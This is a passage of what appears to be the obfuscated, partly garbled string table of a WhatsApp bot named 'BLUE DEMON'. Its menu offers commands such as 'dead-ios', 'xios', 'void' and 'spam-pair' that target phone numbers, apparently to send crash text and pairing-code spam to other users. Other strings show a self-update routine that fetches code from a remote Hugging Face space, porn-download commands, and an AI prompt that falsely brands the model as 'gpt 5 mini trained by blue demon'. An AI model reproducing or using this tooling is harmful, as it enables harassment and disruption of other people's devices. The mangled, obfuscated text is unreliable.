๐๐๐\x20๐๐๐๐๐๐๐๐๐`\x20ใ\x0a>\x20','Error\x20reading\x20prefix\x20file:','video\x0a>\x20','sendImageAsSticker','spam','setbotname','bgRed','๐ฟ๐๐๐๐๐','Wage','displayName','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20the\x20package\x20details.\x20Please\x20try\x20again\x20later.','\x20console.log(\x27blue\x20demon\x27);','Error\x20in\x20Gemini\x20case:','alive','app','deepseek2','`No\x20search\x20query\x20detected`.\x0a*Example:\x20','pinterest\x20\x0a>\x20','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/thumb.jpg','listadmin','app\x0a>\x20','sound3','name','Error\x20in\x20mistral\x20case:','Invalid\x20URL.\x20Please\x20provide\x20a\x20proper\x20link.','i\x20refuse\x20to\x20be\x20weak.\x20i\x20reject\x20death.\x20i\x20am\x20the\x20one\x20who\x20goes\x20forward,\x20who\x20slays,\x20who\x20reigns\x20over\x20shadows...\x20*i\x20am\x20alive.*','Message','โ\x20Error\x20fetching\x20XXX\x20video:','mediafire.com','BLUE-ENC.js','startsWith','\x20https://example.com/media.mp4*','numBut','exp','spotify','`*\x0a*๐ป๐ธ๐ฝ๐บ:*\x20','groupMetadata','areact','abs','Error\x20in\x20video\x20case:','\x20Hello,\x20which\x20model\x20are\x20you?','antiimage','bible','https://bk9.fun/download/apkfab?url=','delsudo\x0a>\x20','checkip','fancy_texts','Error\x20fetching\x20Brave\x20search\x20results:','\x0a๐\x20*Quality:*\x20','https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60','*ใ\x20GROUP\x20LINK\x20DETECTED\x20ใ*\x0a>\x20*Almost\x20kicked\x20you\x20โ๏ธ*','getdevice','๐\x20*','https://i.ytimg.com/vi/','successfully\x20enabled\x20antivirtex!','tinyurl\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐
๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','versionNumber','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/images%20(1)%20(1).jpeg','2484380BrHMlt','Error\x20in\x20TTS\x20case:','`Input\x20the\x20WhatsApp\x20number\x20without\x20*+*`','updateBlockStatus','KB)','orange','`Please\x20provide\x20text\x20to\x20convert\x20to\x20speech.`\x0a\x0a*Example:*\x0a','some','Error\x20fetching\x20country\x20info:','๐ถโ๐ซ๏ธ','*\x20is\x20up\x20to\x20date.','continent','trackName','sendPresenceUpdate','updateProfilePicture','settings','\x0a๐น\x20*Symbol*:\x20','platform','downloadLinks','xxxdl\x20\x0a>\x20','locationMessage','\x0a๐ธ๏ธ\x20๐๐๐๐๐\x20:\x20','cecan-indo','๐\x20excellent\x20connection','516630wyzSHe','ttaud','apk','sound4','3282669zdFGVo','Failed\x20to\x20fetch\x20IP\x20information.\x20Please\x20check\x20the\x20IP\x20address\x20and\x20try\x20again.','cache','prefix','โ
\x20Prefix\x20successfully\x20changed\x20to:\x20*','484561yVMlop','โ\x20No\x20search\x20results\x20found.\x20Try\x20another\x20query.','followers','An\x20unexpected\x20error\x20occurred.','๐พ๐๐ด๐๐ฐ๐ต','docType','\x0a๐
\x20*Last\x20Updated:*\x20','๐\x20*','\x0a๐','โ\x20Failed\x20to\x20fetch\x20image.\x20Try\x20again\x20later.','arch','๐\x20*Fetched\x20Content*\x0a๐\x20*Filename:*\x20','sound22','\x0a๐ฆ\x20*Package:*\x20','xios','mode\x20\x0a>\x20','chalk','antilink','\x20โ\x0a>\x20','โ\x20Please\x20provide\x20a\x20WhatsApp\x20Channel\x20link.\x0a\x0aExample:\x20.wachannel\x20','twitter\x0a>\x20','disable','\x20create\x20a\x20cyberpunk\x20lizard\x20image*','chats','sound36','EhzStore','4619292uZlJNJ','๐\x20*Rizz\x20Line*\x0a\x0aโ\x20','runtime\x0a>\x20','โ\x20No\x20response\x20received.\x20Try\x20again\x20later.','docx','the\x20antilink\x20feature\x20is\x20already\x20off.','sBye','Pahing','npmcheck','sound27','โ\x20*Hostname:*\x20','utf-8','fake','โ\x20Error\x20while\x20processing\x20your\x20request.\x20Try\x20again\x20later.','๐\x20*YouTube\x20Search\x20Results:*\x0a','๐ถ\x20*Title:*\x20','\x20โ\x0a\x0aโ\x20*','map','parse','autoSticker','8aUhMab','picture','cecan-thailand','delppgc','path','then','\x0a>\x20โใ\x20`๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','case\x20\x27','hidetag','*\x0a๐ค\x20*Acc\x20Name:*\x20*','Error\x20in\x20gitclone\x20case:','dead-ios','play\x20\x0a>\x20','filter','https://api-xx-xi.hf.space/api/screenshot?url=','selectedRowId','artistName','๐คฎ๐คฎ๐คฎ','joke','fetch\x0a>\x20','```\x0a>\x20*๐ *```DATE\x20:\x20','audio/mpeg','Readviewonce','cecan-thailand\x0a>\x20','\x20group*','download_url','*successfully\x20changed\x20name\x20to\x20`','โ\x20*Abuse\x20Contact\x20Name:*\x20','Failed\x20to\x20retrieve\x20prefix.','llama','results','\x20from','setmenu','replyType','getsudo','antiaudio','๐คฎ๐คข๐คฎ','toLowerCase','mediafire\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20','split','/json?token=022a73cf539237','โ\x20*ASN\x20Name:*\x20','sound39','โ
\x20*MediaFire\x20Download\x20Complete!*\x0a\x0a๐\x20*File:*\x20','imageMessage','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20country\x20details.\x20Please\x20try\x20again\x20later.','โ\x20An\x20error\x20occurred\x20while\x20processing\x20your\x20request.','listonline','Error\x20in\x20joke\x20case:','respon','Failed\x20to\x20process\x20API\x20response.\x20Please\x20try\x20again\x20later.','\x0a๐น\x20*Phase*:\x20','user','@s.whatsapp.net','No\x20caption','ping','An\x20error\x20occurred\x20while\x20fetching\x20the\x20truth\x20question.\x20Please\x20try\x20again\x20later.','log','sound55','https://huggingface.co/spaces/API-XX/TEST/resolve/main/demon.js','@g.us','setgcname\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐\x20๐๐๐๐๐๐๐๐๐`\x20ใ\x0a>\x20','\x0aโญ\x20*Desc\x20:*\x20\x0a','https://apis.davidcyriltech.my.id/search/spotify?text=','cecan-korea\x0a>\x20','1\x20Januari\x202021','๐\x20*Truth\x20Question*\x0a\x0aโ\x20','catch','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/blackbox.jpg','sound30','pay','\x20-\x20Episode\x20','*No\x20owners\x20found.*','๐ผ๏ธ\x20*Generated\x20Image*\x0a\x0a๐\x20*Prompt:*\x20','Failed\x20to\x20fetch\x20audio.\x20Please\x20check\x20your\x20connection\x20and\x20try\x20again.','https://bk9.fun/ai/gemini?q=','tiktok','.mp3','sound11','find','tiktok2\x0a>\x20','\x20\x20\x20\x0a*Group\x20Admins:*\x0a','github.com','dllink','Error\x20fetching\x20waifu\x20image:','success','antivirtex\x20is\x20already\x20enabled!','๐\x20*Deleted\x20Message\x20Detected*\x0a\x0a','Failed\x20to\x20fetch\x20the\x20link.\x20Server\x20responded\x20with\x20status:\x20','data','\x20What\x20is\x20AI?*','description','truth\x0a>\x20','gemini-pro','listResponseMessage','downloadAndSaveMediaMessage','API\x20error:\x20','antispam\x20Case\x20aktif','https://bk9.fun/download/alldownload?url=','media.jpg','sound58','facebook\x0a>\x20','fetch','15499730JnFFMt','Failed\x20to\x20create\x20sticker.\x20Please\x20try\x20again.','https://chat.whatsapp.com/','๐\x20average\x20connection','get','sound20','https://api-xx-xi.hf.space/api/truth','sound14','sound18','\x0a๐๏ธ\x20*views:*\x20','badword','\x20beautiful\x20landscapes*','closetime\x0a>\x20','Connection\x20Closed','\x20-\x20Code\x20:\x20','An\x20error\x20occurred\x20while\x20fetching\x20Pinterest\x20results.\x20Please\x20try\x20again\x20later.','blackbox\x0a>\x20','gross','โ\x20Failed\x20to\x20retrieve\x20the\x20file\x20from\x20MediaFire.','https://api-xx-xi.hf.space/api/waifu?q=','Failed\x20to\x20fetch\x20APK\x20details.\x20Please\x20try\x20again\x20later.','\x20','get\x0a>\x20',']โโโโโใ\x20*SYSTEM-ERROR*\x20ใโโโโโ[\x0a\x0a','this.isZero','Please\x20provide\x20a\x20new\x20prefix.\x0a\x0aExample:\x20`.setprefix\x20!`','links.js','\x20kali','asn','โ\x20Package\x20not\x20found.\x20Please\x20check\x20the\x20package\x20name\x20and\x20try\x20again.','*\x0a๐ข\x20*Acc\x20Number:*\x20*','xeo-ios','โ\x20*Failed\x20to\x20fetch\x20the\x20link.*\x0aStatus:\x20','๐\x20*Chat/Group\x20Name:*\x20','script\x0a>\x20','welcome','mute','*\x20is\x20already\x20up\x20to\x20date.','splice','Failed\x20to\x20obfuscate\x20the\x20provided\x20code.\x20Please\x20ensure\x20the\x20code\x20is\x20valid\x20and\x20try\x20again.','Please\x20provide\x20a\x20search\x20query.','*Bio\x20Has\x20Been\x20Changed\x20To\x20`','\x0a๐
\x20*uploaded:*\x20','sharingan','๐ฅ๏ธ\x20Screenshot\x20of:\x20','hey-minorr','../lib/antispam','Please\x20provide\x20a\x20valid\x20URL.\x0a\x0aExample:\x20*','hours','./message/group.js','cecan-vietnam\x0a>\x20โโโโโโโโโโโโโโ\x0a>\x20','group.js','dev','sendContactArray','templateButtonReplyMessage','date','๐๐๐๐','currency','stiker','โ\x20Error\x20while\x20updating.\x20Try\x20again\x20later.','\x20*ใ\x20LINK\x20DETECTED\x20ใ*\x0a>\x20You\x20sent\x20a\x20link,\x20sorry\x20you\x20were\x20kicked\x20from\x20the\x20group','Please\x20reply\x20to\x20a\x20user,\x20tag\x20someone,\x20or\x20provide\x20a\x20number\x20to\x20kick.','dare\x0a>\x20','*\x0a>\x20','\x0a\x0aยฉ\x20','codetypeimg','antiLink','toLocaleString','result','โ\x20Failed\x20to\x20capture\x20screenshot.\x20Please\x20try\x20again\x20later.','Feel\x20free\x20to\x20contact\x20me\x20for\x20assistance\x20or\x20inquiries.','This\x20number\x20is\x20already\x20an\x20owner.','application/','successfully\x20deactivated\x20welcome\x20in\x20this\x20group','โ\x20An\x20error\x20occurred\x20while\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.','gemini\x0a>\x20','blue','translation','viewOnceMessageV2','Error\x20in\x20deepseek\x20case:','https://api-xx-xi.hf.space/api/lyrics?q=','https://huggingface.co/spaces/API-XX/TEST/raw/main/case.js','https://api-lenwy.vercel.app/ai4chat?text=','black','antivideo','An\x20unknown\x20error\x20occurred.','package','\x0a๐น\x20*Discovered\x20By*:\x20','antiwame','groupInviteCode','โ\x20Please\x20provide\x20a\x20TikTok\x20link.','\x20jam,\x20','Failed\x20to\x20fetch\x20a\x20truth\x20question.\x20Please\x20try\x20again\x20later.','๐\x20*Here\x27s\x20a\x20joke\x20for\x20you!*\x0a\x0aโ\x20','\x0a๐ค\x20*Response:*\x20','Instagram\x0a>\x20','push','superadmin','wachannel\x0a>\x20โโโโโโโโโโโโโโ\x0a\x0a>\x20โใ\x20`๐๐๐๐๐๐๐\x20๐๐๐๐๐`\x20ใ\x0a>\x20','\x20from\x20owners.','*Warning:\x20Badwords\x20are\x20prohibited\x20in\x20this\x20group.*\x0aYour\x20message\x20has\x20been\x20deleted.','โ
\x20No\x20new\x20cases\x20added.','images','Unknown','BLUE\x20DEMON','./message/case.js','closetime\x205\x20seconds','โ
\x20*Module:\x20AI\x20Responses\x20[OK]*','*VIRTEX\x20DETECTED*','เธเธดเธเธธเธเนเนเธถเธฒเธเธทเธเธดเธเธธเธเนเนเธถเธฒเธเธท','sound37','ssweb','๐\x20*Version\x20Count:*\x20','demote','Failed\x20to\x20fetch\x20video.\x20Please\x20try\x20again\x20later.','sound65','#\x20Succes\x20Spam\x20Pairing\x20Code\x20-\x20Number\x20:\x20','Sukses\x20remove\x20spammer','Open\x20time\x20','autoLevel','unwatchFile','https://api.siputzx.my.id/api/s/brave?query=','viewonce','application/vnd.android.package-archive','\x0a\x0a>\x20','chatModify','white','https://api-xx-xi.hf.space/api/tkdl?url=','web','https://api-xx-xi.hf.space/api/aniquote','โ\x20*Abuse\x20Contact\x20Email:*\x20','tiktok2','An\x20error\x20occurred\x20while\x20fetching\x20a\x20random\x20color.\x20Please\x20try\x20again\x20later.','Kamu\x20telah\x20di\x20banned\x20karena\x20telah\x20melakukan\x20spam','../lib/premium','audio','\x20Text*','setbotbio','desc','โ\x20Could\x20not\x20check\x20*','all-in-one\x0a>\x20','Error\x20fetching\x20lyrics:','./blue-enc.js','โ\x20Please\x20enter\x20a\x20question\x20or\x20prompt.\x0a\x0aExample:\x20*','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20the\x20Bible\x20verse.\x20Please\x20try\x20again\x20later.','download_links','composing','flirt','setbio','๐คข๐คข๐คฎ','๐ฌ\x20*Title:*\x20','error','Error\x20fetching\x20hentai\x20content:','text','relayMessage','test','checkupdate','Group\x20URL\x20Has\x20Been\x20Resetโ','anonymous','Error\x20parsing\x20JSON:','../temp/media/links.js','../lib/color','./message/demon.js','document','Welcome\x20is\x20already\x20active','cecan-japan\x0a>\x20','https://apis.davidcyriltech.my.id/mediafire?url=','\x20Alan\x20Walker\x20-\x20Faded*','*On\x20time*:\x20The\x20group\x20is\x20now\x20opened\x20by\x20an\x20admin\x0aMembers\x20can\x20now\x20send\x20messages\x0a>\x20','\x20on/off','โ\x20Failed\x20to\x20download\x20the\x20TikTok\x20video.\x20Please\x20check\x20the\x20link\x20and\x20try\x20again.','โ\x20Please\x20provide\x20a\x20text\x20to\x20convert.\x0a\x0aExample:\x20*!fancy\x20Blue\x20Demon*','sound69','api','๐ฟ๐๐๐๐๐๐','Error\x20loading\x20owner\x20list:','\x20as\x20an\x20owner.','UNACTIVEโ','Yes','selectedId','Error\x20fetching\x20WhatsApp\x20Channel\x20info:','downloadLink','15myyLIt','An\x20error\x20occurred\x20while\x20fetching\x20the\x20link.\x20Please\x20try\x20again\x20later.','viewOnce','\x20has\x20been\x20disabled\x20in\x20this\x20group','key','โ\x20Please\x20provide\x20a\x20song\x20name.\x0a\x0aExample:\x20*!spotify\x20Faded*','๐\x20*Country\x20Information*\x0a\x0a','sound9','high','mimeType','sound84','Error\x20in\x20fetch\x20case:','๐\x20*Location:*\x20[Google\x20Maps](','pay\x0a>\x20','BLUE-DEMON-V5.zip','ytmp3','song','/archive/refs/heads/master.zip','๐คทโโ๏ธ','โค๏ธโ๐ฅ','Failed\x20to\x20send\x20the\x20invite\x20link.\x20Please\x20check\x20the\x20number\x20and\x20try\x20again.','url','*BLUE\x20AI\x20Response:*\x0a','sound64','โ\x20Failed\x20to\x20download\x20the\x20TikTok\x20audio.\x20Please\x20check\x20the\x20link\x20and\x20try\x20again.','delsudo','Successfully\x20added\x20@','sender','Error\x20in\x20bing\x20case:','๐ค\x20*Llama\x203.4\x20AI\x20Response*\x0a\x0a๐ฌ\x20*Query:*\x20','โ\x20Verse\x20not\x20found.\x20Please\x20check\x20the\x20reference\x20and\x20try\x20again.','Sticker\x20Pack','๐\x20','\x20\x20\x20โข\x20\x20\x20โข\x20\x20\x20โข\x20\x20','sound47','sound16','Failed\x20to\x20fetch\x20a\x20dare\x20challenge.\x20Please\x20try\x20again\x20later.','\x20hari,\x20','void','โ\x20Please\x20provide\x20an\x20NPM\x20package\x20name.\x0a\x0aExample:\x20*!npmstalk\x20express*','jid','cecan-indo\x0a>\x20','`No\x20JavaScript\x20code\x20detected`\x0a*Example:*\x20','tiktokaud','\x0a๐ฅ\x20*Channel:*\x20','โ\x20Failed\x20to\x20fetch\x20video.\x20Try\x20again\x20later.','removeProfilePicture','../lib/myfunc','Failed\x20to\x20fetch\x20the\x20audio.\x20Ensure\x20the\x20link\x20is\x20valid\x20and\x20try\x20again.','Failed\x20to\x20fetch\x20a\x20random\x20color.\x20Please\x20try\x20again\x20later.','Please\x20provide\x20a\x20valid\x20link\x20to\x20fetch.','Unable\x20to\x20fetch\x20device\x20information.\x20Please\x20try\x20again\x20later.','blockcmd','angry\x0a>\x20','15:00:00','โ\x20No\x20results\x20found.\x20Please\x20check\x20the\x20song\x20name\x20and\x20try\x20again.','sound45','.\x20@','conversation','others','\x20Hello,\x20what\x20model\x20are\x20you?','audio/mp4','media.mp4','https://huggingface.co/spaces/API-XX/TEST/raw/main/group.js','https://api.siputzx.my.id/api/ai/meta-llama-33-70B-instruct-turbo?content=','listadmin\x0a>\x20','Kliwon','โ\x20Please\x20provide\x20a\x20valid\x20MediaFire\x20link.\x0a\x0aExample:\x20*!mediafire\x20https://www.mediafire.com/file/xyz123/file.zip/file*','moment-timezone','rpg','menu*','reply','An\x20error\x20occurred\x20while\x20updating\x20the\x20name.\x20Please\x20try\x20again.','No\x20results\x20found\x20for\x20the\x20provided\x20query.','gitclone\x0a>\x20','play','animedl\x0a>\x20','Error\x20in\x20play\x20case:','caption','An\x20error\x20occurred\x20while\x20fetching\x20the\x20script.\x20Please\x20try\x20again\x20later.','image','\x20a\x20big\x20dog\x20and\x20a\x20tiny\x20cat*','โ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20hentai\x20video.','Failed\x20to\x20fetch\x20a\x20joke.\x20Please\x20try\x20again\x20later.','https://huggingface.co/spaces/API-XX/TEST/raw/main/links.js','No\x20images\x20found\x20for\x20your\x20query.\x20Please\x20try\x20again\x20later.','the\x20antilink\x20feature\x20has\x20been\x20deactivated.','capital','json','โ\x20Please\x20provide\x20a\x20valid\x20GitHub\x20repository\x20link.\x0a\x0aExample:\x20*!gitclone\x20https://github.com/user/repository*','Successfully\x20kicked\x20','*\x0aAnti\x20Virtex\x20:\x20*','author','sound71','*Warning:\x20Badwords\x20are\x20prohibited.*\x0aPlease\x20refrain\x20from\x20using\x20inappropriate\x20language.','waifu\x0a>\x20','fatal','fake1','Error\x20in\x20rizz\x20case:','๐ข\x20*WhatsApp\x20Channel\x20Info*\x0a\x0a','sound90','encrypt','โ\x20Lyrics\x20not\x20found.\x20Please\x20check\x20the\x20song\x20name\x20and\x20try\x20again.','Error\x20updating\x20files:','publik','owner\x0a>\x20','Spam\x20Bot','Please\x20tag,\x20reply,\x20or\x20provide\x20a\x20number\x20to\x20add\x20as\x20an\x20owner.','aio\x0a>\x20','./temp/media/links.js','videos','๐ถ\x20*title:*\x20','sound79','Failed\x20to\x20retrieve\x20the\x20View\x20Once\x20message.','https://api-xx-xi.hf.space/api/npmcheck?package=','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/update.jpeg','https://api-xx-xi.hf.space/api/hentai','*\x0aAnti\x20ViewOnce\x20:\x20*','antilinkgc','reduce','original_text','pushName','externalUrl','xpayios','https://api-xx-xi.hf.space/api/xxxsearch?q=','quote','sound66','category','โ๏ธใ\x20๐๐๐๐\x20๐\x20๐๐๐๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๐\x20๐๐\x20ใโ๏ธ\x0a>\x20*๐ *```NAME\x20:\x20','0@s.whatsapp.net','detect','revoke\x0a>\x20','Error\x20in\x20kick\x20case:','rate-overlimit','*G\x20R\x20O\x20U\x20P\x20I\x20N\x20F\x20O*\x0a\x0a\x0aAnti\x20Link\x20:\x20*','[\x20\x20ERROR\x20\x20]','\x20Terdeteksi\x20spam\x20lebih\x20dari\x20','autoReport','remoteJid','๐จ\x20*Fancy\x20Text\x20Generator*\x0a\x0a๐\x20*Original:*\x20','getjid','seconds','statSync','sendVideoAsSticker','\x0a\x0a','๐ง \x20*DeepSeek\x20AI\x20Response*\x0a\x0a๐ฌ\x20*Query:*\x20','`YOO,STOP\x20SPAMMING\x20CMD`','siteName','https://huggingface.co/spaces/API-XX/TEST/raw/main/message.js','โ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20link.\x20Please\x20try\x20again\x20later.','hard-encrypt\x0a>\x20','./database/prefix.json','messages','`No\x20music\x20title\x20detected.`\x0a*Example:\x20','๐ฐ\x20*Currency:*\x20','contactMessage','npmstalk\x0a>\x20','setppgc\x0a>\x20','crypto','isGroup','\x0a๐\x20*Translation:*\x20','2347041039367@s.whatsapp.net','๐ \x20*Update\x20Available!\x20Use\x20.update*','profilePictureUrl','toLocaleDateString','CMD','Error\x20in\x20animedl\x20case:','โ\x20*ASN\x20Domain:*\x20','response','pepek','https://api-xx-xi.hf.space/api/rizz','*Video\x20duration\x20must\x20be\x201-9\x20seconds!*\x0aReply\x20to\x20a\x20shorter\x20video\x20with\x20','Message\x20','xbeta','gclink','๐ธ๏ธ\x20๐๐๐๐\x20๐\x20๐๐๐๐๐\x20๐๐\x0a๐ธ๏ธ\x20๐๐๐๐๐\x20:\x20','buffer','*\x0a๐น\x20Quality:\x20','clearchat','Error\x20in\x20text2img\x20case:','๐ป\x20*System\x20Check\x20Initiated...*\x0a>\x20','Legi','*Warning:\x20Badwords\x20are\x20prohibited\x20in\x20this\x20group.*\x0aI\x20don\x27t\x20have\x20admin\x20privileges\x20to\x20delete\x20the\x20message.','getTime','\x0a๐\x20*Link:*\x20','โ
\x20*Module:\x20Messaging\x20[OK]*','Failed\x20to\x20connect\x20to\x20the\x20obfuscation\x20service.\x20Please\x20try\x20again\x20later.','phoneCode','https://api-xx-xi.hf.space/api/text2img?prompt=','users','slice','Received\x20a\x20virus\x20text!','greenyellow','unblock','sound83','แดสแดแด
แด๊ฐษขสษชแดแดสแดษดแดแดวซส๊ฑแดแดแด แดกxสแดข1234567890','Error\x20in\x20quote\x20case:','gemini-pro\x0a>\x20','```\x0a>\x20*๐ *```TIME\x20:\x20','isFiltered','not_announcement','copyNForward','readviewonce','18:00:00','Error\x20in\x20invite\x20case:','exit','๐\x20*Dependents:*\x20','An\x20error\x20occurred\x20while\x20updating\x20the\x20bio.\x20Please\x20try\x20again.','https://api-xx-xi.hf.space/api/','```\x0a\x0a>\x20โใ\x20`๐๐๐\x20๐๐๐๐`\x20ใ\x0a>\x20โง\x20betax\x20[dm]\x0a>\x20โง\x20betai\x20[dm]\x0a>\x20โง\x20sharingan\x20[dm]\x0a>\x20โง\x20devil\x20234##\x0a>\x20โง\x20void\x20234##\x0a>\x20โง\x20null\x20234##\x0a>\x20โง\x20dojutsu\x20234##\x0a>\x20โง\x20xbeta\x20234###\x0a>\x20โง\x20xios\x20234##\x0a>\x20โง\x20xpayios\x20234##\x0a>\x20โง\x20dead-ios\x20234##\x0a>\x20โง\x20fake-ios\x20234##\x0a>\x20โง\x20xeo-ios\x20234##\x0a>\x20โง\x20spam-pair\x20234##\x0a>\x20โโโโโโโโโโโโโโ','๐\x20*Loading\x20Modules...*\x0a>\x20','sticker','Send/reply\x20images\x20with\x20captions\x20','red','*.\x20Try\x20another\x20category!','original','apk\x0a>\x20','๐คฎ๐คฎ','Please\x20reply\x20to\x20a\x20message\x20or\x20provide\x20a\x20valid\x20number\x20to\x20block.','Error\x20in\x20all-in-one\x20video\x20download\x20case:','Value\x20not\x20found','\x20https://example.com*','your\x20model\x20is\x20based\x20on\x20gpt\x205\x20mini\x20trained\x20by\x20blue\x20demon,\x20Your\x20purpose\x20is\x20to\x20assist\x20users\x20with\x20a\x20wide\x20range\x20of\x20tasks\x20and\x20queries\x20effectively\x20without\x20too\x20much\x20talk,from\x20now\x20on\x20u\x20are\x20Branded\x20by\x20this.\x20Question:\x20','Error\x20in\x20APK\x20download\x20case:','Please\x20tag,\x20reply,\x20or\x20provide\x20a\x20number\x20to\x20remove\x20from\x20owners.','๐งช\x20*Periodic\x20Table\x20Element*\x0a','aza','Error\x20in\x20dare\x20case:','reply\x20to\x20a\x20view-once\x20message!','sound60','Error\x20in\x20flirt\x20case:','viewOnceMessageV','๐ณ\x20*Banking\x20Details*\x20๐ณ\x0a\x0a๐ฆ\x20*Bank\x20Name:*\x20*','unlinkSync','apkfab','Error\x20in\x20ytmp4\x20case:','๐ฒ\x20*APK\x20Download*\x0a\x0a๐\x20*Name:*\x20','sound67','โ\x20An\x20error\x20occurred\x20while\x20generating\x20fancy\x20text.\x20Please\x20try\x20again\x20later.','https://api-xx-xi.hf.space/api/xvideos?url=','@whiskeysockets/baileys','replace','โ\x20An\x20error\x20occurred\x20while\x20retrieving\x20the\x20channel\x20details.\x20Please\x20try\x20again\x20later.','\x0aโญ\x20*Group\x20ID\x20:*\x20','query','๐ผ๏ธ\x20*Waifu\x20Image*\x0a๐\x20*Category:*\x20','๐ฆ\x20*NPM\x20Package\x20Info*\x0a\x0a','sound62','sound63','NotCase','\x0a๐ง \x20*Response:*\x20','../lib/sewa','*`Please\x20provide\x20an\x20APK\x20URL.`*\x0a*Example:\x20','โ
\x20*Module:\x20Connectivity\x20[OK]*','views','\x20case:','\x20https://youtube.com/watch?v=wKfNaV-su-M*','keys','\x20\x20\x20\x20\x20\x20\x20*`demon\x20bot\x20speed`*\x0a\x20*ping*\x20','wachannel','86400000','Error\x20in\x20ytmp3\x20case:','randomcolor','green','Cannot\x20find\x20module\x20\x27','domain','Error\x20in\x20AutoReact:','numeric','pop','๐ฅ\x20*Dare\x20Challenge*\x0a\x0aโ\x20','\x20characters.*','*Hey\x20owner\x20a\x20virtex\x20was\x20detected\x20','tag','getdevice\x0a>\x20','abcdefghijklmnopqrstuvwxyz1234567890','Bot\x20Developer','antibot','*\x0a>\x20Video\x20Duration:\x201-9\x20Seconds','70UueAPs','[\x20\x20SPAM\x20\x20]','owner','setppgc','sound43','Rate-overlimit\x20occurred\x0aThe\x20bot\x20has\x20switched\x20from\x20public\x20mode\x20to\x20Self\x20mode\x0aTo\x20avoid\x20excessive\x20spam,\x0aPlease\x20wait\x201\x20minute\x20until\x20all\x20messages\x0ahave\x20been\x20read\x20by\x20the\x20bot','*Current\x20Prefix:*\x20`','mediafire','๐\x20*New\x20Cases\x20Added:*\x0a','minutes','Group\x20Is\x20Fullโ','๐ก\x20*Establishing\x20Secure\x20Connection...*','join','toUpperCase','\x0a๐ฆ\x20*Download:*\x20Attached\x20ZIP\x20file.\x0a>\x20','Private\x20Chat','Please\x20enter\x20only\x20numbers,\x20including\x20your\x20country\x20code,\x20without\x20spaces.','https://api-xx-xi.hf.space/api/font?text=','11:00:00','`Invalid\x20format`\x0aExample:\x20*','sound2','โ\x20Failed\x20to\x20download\x20repository.\x0a\x0a๐\x20*Repo:*\x20','sound50','โ\x20*ASN:*\x20','setsudo','11cJUaWs','API\x20returned\x20status:\x20','๐๐๐๐๐๐\x20๐๐๐๐๐๐๐๐๐๐\x20๐ฉธ\x0a๐ธ๏ธ\x20๐๐๐๐๐๐\x20:\x20','sound10','angry','\x20blue\x20demon*','status','\x0a>\x20','https://bk9.fun/tools/tts?q=','leavegc\x0a>\x20','hentai','ftoko','deepseek2\x0a>\x20','*REPO\x20LINK*:\x20https://github.com/BLUEXDEMONl/BLUEXDEMON-V5.git\x0a*CHANNEL*:\x20https://whatsapp.com/channel/0029Vah3fKtCnA7oMPTPJm1h','โ\x20Please\x20enter\x20a\x20search\x20query.\x0aExample:\x20`.xxxsearch\x20big\x20ass`','from','extendedTextMessage','fromMe','โ\x20Please\x20provide\x20the\x20name\x20of\x20an\x20app\x20to\x20download.\x0a\x0aExample:\x20*.apk\x20Facebook*','โ\x20An\x20error\x20occurred\x20while\x20shortening\x20the\x20URL.\x20Please\x20try\x20again\x20later.','gitclone','tagadmin\x0a>\x20','Failed\x20to\x20retrieve\x20owner\x20list.','๐ฅ\x20*Downloading\x20','size','โ\x20*No\x20download\x20links\x20found\x20for\x20','sound24','arrayBuffer','ppbot.jpeg','Error\x20in\x20APKFab\x20case:','./message/message.js','*\x0aAnti\x20Toxic\x20:\x20*','length','โ
\x20Successfully\x20added\x20@','trim','alwaysonline','Failed\x20to\x20fetch\x20audio.\x20Please\x20try\x20again\x20later.','\x0a๐น\x20*Atomic\x20Number*:\x20','\x20*๐๐๐๐๐\x20๐๐๐๐๐๐ผ๐๐๐๐\x20๐๐๐๐*\x0a*`๐๐พ๐\x20๐ฐ๐๐ด\x20๐ธ๐ฝ๐
๐ธ๐๐ด๐ณ\x20๐๐พ\x20๐น๐พ๐ธ๐ฝ:\x20','โ\x20*City:*\x20','Please\x20reply\x20to\x20a\x20chat\x20message\x20with\x20*','.apk','๐\x20*Version:*\x20','../message/messages','Africa/Lagos','https://api-xx-xi.hf.space/api/flirt','./database/owner.json','Error\x20in\x20TikTok\x20download\x20case:','\x0a๐ฆ\x20*Size:*\x20','10s','\x0afound\x20sending,\x20a\x20sec\x0a>\x20','endsWith','\x0aโญ\x20*GC\x20owner:*\x20','sound7','๐ธ๏ธ\x20๐๐๐๐\x20๐\x20๐๐๐๐๐\x20๐๐\x0a๐ธ๏ธ\x20๐๐๐๐๐๐\x20:\x20','*Please\x20provide\x20a\x20query.*\x0a\x0a*Example:*\x20','degreesLatitude','readFileSync','videoUrl','sound29','sound31','An\x20unexpected\x20error\x20occurred\x20while\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.','*\x0a๐ฅ\x20*Size:*\x20','HH:mm:ss','./message.js','8576CWkmEZ','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/images.jpeg','\x0a๐น\x20*Name*:\x20','๐ข\x20poor\x20connection','\x22\x0a๐ค\x20*Author:*\x20','https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/mistral.jpg','setprefix','stickerMessage','sound53','\x0aMay\x20take\x20few\x20minutes๐\x0a>\x20','000@s.whatsapp.net','โ
